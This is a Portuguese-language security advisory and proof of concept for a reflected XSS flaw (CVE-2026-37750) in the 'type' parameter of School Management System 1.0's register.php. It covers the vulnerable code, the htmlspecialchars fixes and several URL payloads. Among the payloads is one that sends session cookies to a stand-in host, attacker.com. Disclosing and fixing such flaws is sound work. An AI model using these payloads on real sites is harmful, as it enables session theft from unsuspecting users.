
Prova de conceito de XSS refletido para o School Management System 1.0, demonstrando execução de JavaScript não autenticada por meio do parâmetro type em register.php, com análise de impacto e orientações de remediação.
| Campo | Informação |
|---|
| ID CVE | CVE-2026-37750 |
| Tipo | Cross-Site Scripting (XSS) Refletido |
| Severidade | Média (CVSSv3: 6.1) |
| Fornecedor | mahmoudai1 |
| Produto | School Management System |
| Versão | 1.0 |
| Descobridor | Varad AP Mene |
| Data | 2026-04-16 |
| CWE | CWE-79 |
Uma vulnerabilidade de Cross-Site Scripting (XSS) refletido no School Management System 1.0 por mahmoudai1 permite que atacantes remotos não autenticados executem JavaScript arbitrário nos navegadores das vítimas através do parâmetro type não sanitizado em register.php. O parâmetro é refletido sem escape dentro de uma tag h1 na linha 22 e dentro de um atributo action de formulário na linha 26. Nenhuma autenticação é necessária para explorar esta vulnerabilidade.
ID CVE: CVE-2026-37750 CWE: CWE-79 CVSSv3: 6.1 Média (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
O School Management System 1.0 é uma aplicação web PHP/MySQL por mahmoudai1 no GitHub usada para gerir alunos, professores e pais em escolas.
URL do Fornecedor: https://github.com/mahmoudai1/school-management-system
register.php — Formulário de registo (sem autenticação necessária)
Linha 22: echo ucfirst($_REQUEST['type'])
Linha 26: echo $_REQUEST['type']
Nenhum htmlspecialchars() usado — entrada bruta do utilizador refletida diretamente no HTML.
Pré-requisitos:
Passo 1 — Abra o navegador e visite este URL: http://target/register.php?type=script-alert-document.cookie-/script
Passo 2 — O JavaScript é executado no navegador Resultado: Uma caixa de alerta é exibida mostrando os cookies de sessão.
Passo 3 — Payload de roubo de cookies: http://target/register.php?type=script-document.location-http://attacker.com/steal?c=-document.cookie-/script Passo 4 — Payload de injeção no atributo action do formulário: http://target/register.php?type="-script-alert(1)-/script
Dois pontos de injeção confirmados:
Ponto de Injeção 1 — Dentro da tag h1 (linha 22):
echo ucfirst($_REQUEST['type'])
Saída:
<h1><script>alert(1)</script> Application</h1>
Ponto de Injeção 2 — Dentro do atributo action do formulário (linha 26):
echo $_REQUEST['type']
Saída:
<form action="register.php?type=<script>alert(1)</script>">
Correção da linha 22: echo htmlspecialchars(ucfirst($_REQUEST['type']), ENT_QUOTES, 'UTF-8');
Correção da linha 26: echo htmlspecialchars($_REQUEST['type'], ENT_QUOTES, 'UTF-8');
Varad AP Mene Email: [email protected] GitHub: https://github.com/menevarad007